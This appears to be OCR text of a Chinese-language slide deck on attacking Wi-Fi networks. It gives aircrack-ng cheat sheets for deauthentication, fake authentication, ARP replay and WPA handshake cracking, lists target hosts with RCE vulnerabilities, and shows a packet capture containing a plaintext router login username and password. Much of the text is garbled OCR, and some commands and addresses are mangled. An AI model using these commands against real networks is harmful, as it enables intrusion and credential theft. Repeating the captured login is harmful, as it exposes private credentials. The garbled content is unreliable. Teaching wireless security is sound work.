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v AP &3 ( Master )
ES AP LEUEH - WERE HRMEE
mEREMREERTIE
Fake AP WEFEFEALET(

v EfEfE I ( Monitor ) -
FRrE8iEemA R EEIIMA <
of DL ¥ EE (8 4 B iE 1T EE 12
o IEIREIEEEA

v’ Clientf£z( ( Managed )
ZPiniEAAPRAIIET

X igstatdi
AR FERAVTET(

v WDSH T

v AD-hoctE =



BS5ID

90:F6:52:C5:ED:62
S54:B8:0A:8D:10:38
00:24:6C:3D:55:C1
00:24:6C:3D:55:C0
00:24:6C:3D:55:C4
00:24:6C:3D:55:C2
J4:DA:3B:76:96:50
T4:DA:38:78:29:DC
2C:4D:54:1B:54:CC
T4:DA:38:78:1C:68

90:F6:52:C5:ED:62
(not associated)
(not associated)
00:24:6C:3D:55:C2
T4:DA:38B:76:96:50
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STATION
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ESSID

<length: 8= -~
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v 1R AP BRERF v/ Hidden SSID E#&R#EZEF
AP : g - $£BY SSID 2“WelcomeWifi” AP : I8 - 2 [EESSIDAYAES
Client : “WelcomeWifi" T 1812 : Client : “hiddenWifi"{REIE?
REE - FMMEERXF AP . 18 - E“hiddenWifi” ¢
B e C“ent%m& ............................
AP : INZABIEME - RONZBEIERE - AP : R[EeE - FRINBERNXF
$E AR X I Client : &Y

AP : INZABSIEE - RAZISIERE -
ERAKIN
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01 aircrack-ng Suite

HEZE R

airmon-ng R EEETE T

airodump-ng A EY R 95802, 1151 4E

aireplay-ng EA | EEFEARNE

aircrack-ng WEP / WPA /| WPA2#E#2 T B
airserv-ng AR A R A E 245 € Port l3&E

=

airbase-ng BU%& Fake AP TE
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Cheat sheet - BES =48 & KEHLET ¢

iwconfig (BB EZFEE)

airmon-ng start wlan0 ( FRIwlanOfFEEFEET )

iwconfig ( iR EE HIE—5Rmonitorf & )

airodump-ng wlanOmon ( FIFBwlanOmonf+& - 5L BIRE )
airodump-ng -c [AP_Channel] --bssid [AP_MAC_addr] wlanOmon ( &%tz )
airodump-ng -c [AP_Channel] --bssid [AP_MAC_addr] -w [t&Z @ FaI2HE]

wlanOmon ( FEEREEXZEIRYEI & )



01 Cheat sheet - XS B1% AP B3 Hidden SSID

v aireplay-ng -0 15 -a [AP_MAC_addr] -c [Client_MAC_addr]

wlinaOmon ( #i—E &R Ix - @A LI5S - HiX Deauth F 8145

B1ZAPHIClient - & Client B EEH#ELR )

v aireplay-ng -0 15 -a [AP_MAC_addr] -c [Client_MAC_addr]

wlanOmon --ignore-negative-one
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Settings

CHOOSE A NETWORK... -

WIFLY Free

FET Wi-Fi

Starbucks_Free WiFi
SUN HOME TPE ASUS

Other...
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#IREE IV + W key % ”%ﬂ%mﬁ@@
( seed 64 / 128 bits ) = TR e
. PII;C?4A RS =
2% gﬂai reABTINE
CRC32 = PRGA ST i
FREBE i
ERANT RCa |22 o
~ - stream key - :éga?_‘_,f
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v 2%181E AP 89 SSID - BSSID & Channel

_ gy - B
v #A airodump-ng IRENBRAPEIE - - - = ou@@=™
v MR aircrack-ng IRERZE S * 5% |
éﬁ%ﬂﬁ@?ﬂ L7
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v A aireplay-ng 18MHEE ___--

v AEFIRERER . ARP HEIEMINE

v BEEZPIREIER : fake authentication

m
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alreplay-ng attack modes

--deauth count : deauthenticate 1 or all stations (-0) - -—E%:\;;H;%gpr
—~fakeauth delay : fake authentication with AP (-1) - - < s WPA | WPAZ
—-interactive : interactive frame selection (-2) opeat over and over
--arpreplay : standard ARP-request replay (-3)---  get "% WS
--chopchop . decrypt/chopchop WEP packet (-4)

--fragment . generates valid keystream (-5)

--caffe-latte . query a client for new IVs (-6)

--cfrag . fragments against a client (-7)

--migmode . attacks WPA migration mode (-8)

--test . tests injection and quality (-9)



02 Cheat Sheet

Terminal
A

Terminal
B

Terminal
@

v Pl airodump-ng KEELF €
airodump-ng -c [AP_Channel] --bssid [AP_MAC_addr]
-w [1EFEFHEFIIEHE] wlanOmon

v FIFB aircrack-ng THEEZR S
aircrack-ng [1E R REFNRHE]

v MR aireplay-ng #i& fake authentication - (&3 &

aireplay-ng -1 0 -e [AP_ESSID] -a [AP_MAC_addr] wlanOmon
aireplay-ng -3 -b [AP_MAC_addr] wlanOmon
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PSK ( PSK - Pre-Shared Key )

. . |IEEE 802.1XiR 8 B2
%ﬁm ’ FEEHE"J Wifi T.IE\EI% R | H%‘PSKEE‘ZPMK [
ETTANONCE €= =======1"wy ~ ——=—== = once
PMK ( Pairwise Master Key ) T ¥
FERAHESBIAT - PSK FE PMK L4 ANonce [ —
PTK ( Pairwise Transient Key ) : :
AR unicast FEIAYINE B PTK 2% Shonce ¥ M
GTK ( Group Temporal Key ) :
) :| 3/4. GTK + MIC ( key install )
AR ERFRNERN SN mm@:m%? (T T T T T T T T T T T T T T . >
2 :

. RWPAZ :
MIC ( Message Integrity Code Bﬂﬁi‘\ﬁﬁﬁ%ﬁg S <£/£;_ _ _key install ACK  "“SSE
ARGEE R RS i f
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02~ WPA [ WPA?2 B #x 1 7[R I8 R NE

=4 2/4: SNonce + MIC
P | e

o [ e (PSR, | Q14: _ key install ACK
o ANonce
SNonce Key :
146 > | Computation
1/4 & 2/4 AMAC Block PTK’ :
> > , B34 6l 2/4 5 3/4
SMAC MIC" | — & mic L& -
= > + AES — HRIFER PMK
TRIP = HH
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_ L 22 iy >
S04 5 34 [ —on
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v 2%181E AP 89 SSID - BSSID & Channel

B
v #lA airodump-ng REXETRAPEE - - - mupFH®
v #IA aircrack-ng AR ZHE » 5% L | % ‘s
e ,u)s m@\“ﬂ 2 ‘G( \“
v FIA aireplay-ng o
\» \ ‘= ~ ;
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limli

v BEPInEEN : EnlhiE - E5

BRAEPIREEE . FEIES..



02 Cheat Sheet

Terminal
A

Terminal
B

Terminal
@

— v A airodump-ng REEYE &
airodump-ng -c [AP_Channel] --bssid [AP_MAC_addr]

g -w [t FHIEZ ] wlanOmon N

\ gpamraTe
— v R aircrack-ng IR S ! Jerminal Affiz
| aircrackeng -w [PHEEEH] KEREHSE O nnesl

I

— v HMF aireplay-ng 1§ HIZRAPRIVE FiniEwln FE&R
aireplay-ng -0 15 -a [AP_MAC addr] -c [Client_ MAC_addr]

L wlanOmon --ignore-negative-one
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v PEIARE - ISHEEER
M F ARP Spoofing #17 B A E
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{E¥E %4 i10S9.0.1
FRIPort: 62078

{EZE %4 Windows 7
BARIPort: 21,22,80,135,445,3389  mriRZHH

- -7 g HHF
EEZ4: i0S 10.1.1
HiPhone
BIR{Port: 22 62076  mm22porti)

. 7= =N A NEG
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15954

N/A

MS12-020: RDP Remote Code Execution
MS14-066: Schannel Could Allow RCE

Weak Password

SSH Server Vulnerabilities
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1 AN EEPLRE

ESEH : DIR-619L EEA

D-Link M————————

ononf]

ERsEf e EEEH
EREDEE
MACEESE

(RIBEEEEEESE - T LES TEE ) ERER

ACLIEER DMZHEEE RRE" - DMIASFEERN EENEEcHTRaRREERS - HEs  Z5DMZ
28 T WebfEiEZ - FTPREEE B -

ABEHIRRE

ERESNE
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BEER(GFEE)
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{ Wireshark - Follow TCP Stream (tep_stream eq 50) * wireshark peapng F5SBEABZE-7520-4120-A5BD-AECAO432D603 20180308041530 al0624

POST /index.asp?login=yes HTTP/1.1

Host: Ltw

Referer: ‘login.asp?reason=loginerror

Accept: text/html,application/xhtml+xml,application/xml;q=8.9,%/*;q0=0.8
Content-Type: application/x-www-form-urlencoded

Accept-Language: zh-tw

Accept-Encoding: gzip, deflate

Origin:

Cookie: ASPSESSIONIDACBDRSBE=PDFPADCABGIHKAPKIDACIGKA

Content-Length: 78

Connection: keep-alive

User-Agent: Mozilla/5.8 (iPhone; CPU iPhone 05 6 8 1 like Mac 05 X) AppleWebKit/536.26 (KHTML, like Gecko

action=login&0fficeldminUsername=binbinl23&0fficelAdminPassword=1ulud56HTTP/1.1 382 Object moved
Cache-Control: private

Content-Type: text/html

Location: flogin.asp?reason=loginerror

Server: Microsoft-TIS/8.5

X-Powered-By: ASP.MET

Date: Wed, @7 Mar 20818 28:16:17 GMT

Content-Length: 134

<head»<titles»..... W....</title></head:>
<body><hl>. . ... w.... - i...0.b<a HREF="/login.asp?reason=loginerror”>.o0..</fa>.</body>
GET /[login.asp?reason=loginerror HTTP/1.1

1251 98.926786 192.168.9.101 17.248.158.175 TLSv1.2 135 Encrypted Alert
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Hidden SSID - MAC

1. WEP 1N 8 2
2. WPA / WPA2 NNZ 5 A

AR N2

t=E2 E)

1 APKRIADHCPER

2. WE AP Web BN H

3. WEBEFIH ( service ~ RCE )
4. FREIANE (MITM)

& wifi 218 - GFER=E
N1 AP $ZHIHE

fEeX AP B K iEERTE
ZH=imENEEA (RCE)
BN 1S EHEHEPR

A ERER
PREIANE (MITM)
BEERAEER






